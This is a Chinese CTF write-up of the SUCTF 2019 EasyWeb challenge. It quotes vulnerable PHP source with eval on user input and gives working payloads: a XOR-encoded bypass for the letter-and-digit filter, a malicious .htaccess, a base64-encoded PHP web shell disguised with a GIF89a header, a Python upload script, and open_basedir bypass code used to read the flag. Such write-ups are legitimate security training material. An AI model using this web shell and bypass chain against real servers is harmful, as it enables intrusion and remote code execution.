BUU WEB [SUCTF 2019]EasyWeb

BUU WEB [SUCTF 2019]EasyWeb

emmm,这道题目涉及到较多知识点,就单独记录一下
首先打开网页可以看见源码:

<?php
function get_the_flag(){
    
    
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    
    
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
    
    
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    
    
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    
    
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看见最后有个命令执行,不过对我们的参数进行了许多的过滤,
无数字字母,类似于这种之前第十届极客大挑战也有过,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过,
异或脚本:

<?php
function finds($string){
    
    
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
    
    
		for($j=27;$j<count($a);$j++){
    
    
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
    
    
				if(ord($string[$k]) == $x){
    
    
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
    
    
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

运行得到,因为这里还有字符种类限制,所以前面的都得一样:
在这里插入图片描述
得到payload:

?_=${
    
    %86%86%86%86^%d9%c1%c3%d2}{
    
    %86}();&%86=phpinfo

可以看见phpinfo页面,版本7.2,由于这里各种限制,所以我们就只能从get_the_flag()函数下手了
可以看见是上传文件,对后缀名进行了过滤,不能上传有ph的后缀文件,phtml,php等也不能上传了,
可以考虑.htaccess和.user.ini,不过这里.user.ini好像不行
对内容进行了过滤,不能包含<?,由于这里版本太高,所以<script language="php"></script>无法使用
这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码
还有个文件头检测,好办,一般都用GIF89进行绕过,但是这里会出现问题,.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337进行绕过,#在.htaccess中表示注释
所以我们的.htaccess文件内容如下:

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"

shell.ahhh:

GIF89a12		#12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

上传脚本:

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://95670a2d-e895-4364-bb7b-94939098a4b6.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {
    
    'file':('.htaccess',htaccess,'image/jpeg')}
data = {
    
    "upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {
    
    'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到路径:
在这里插入图片描述
访问shell:
在这里插入图片描述
可以执行,但是好像无法读取根目录下的东西,可以读取/tmp的目录,不可以读取/etc的目录
从phpinfo中看到:
在这里插入图片描述
接下来就是绕过open_basedir了,参考这个bypass open_basedir的新方法
直接拿文中的payload用一下:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

得到:
在这里插入图片描述
读取一下:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

得到flag~~

总结

这个题知识点主要有三个:
1、通过异或来绕过无数字无字母的函数执行
2、通过上传.htaccess来getshell,其中还包括,如何绕过上传的过滤
3、绕过open_basedir
总的来说收获很大,不得不说suctf的质量很高,像我这种菜鸡就不会做,,,,
在吐槽一下这个网络,做一半断网差点文章不保~~~

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/105615235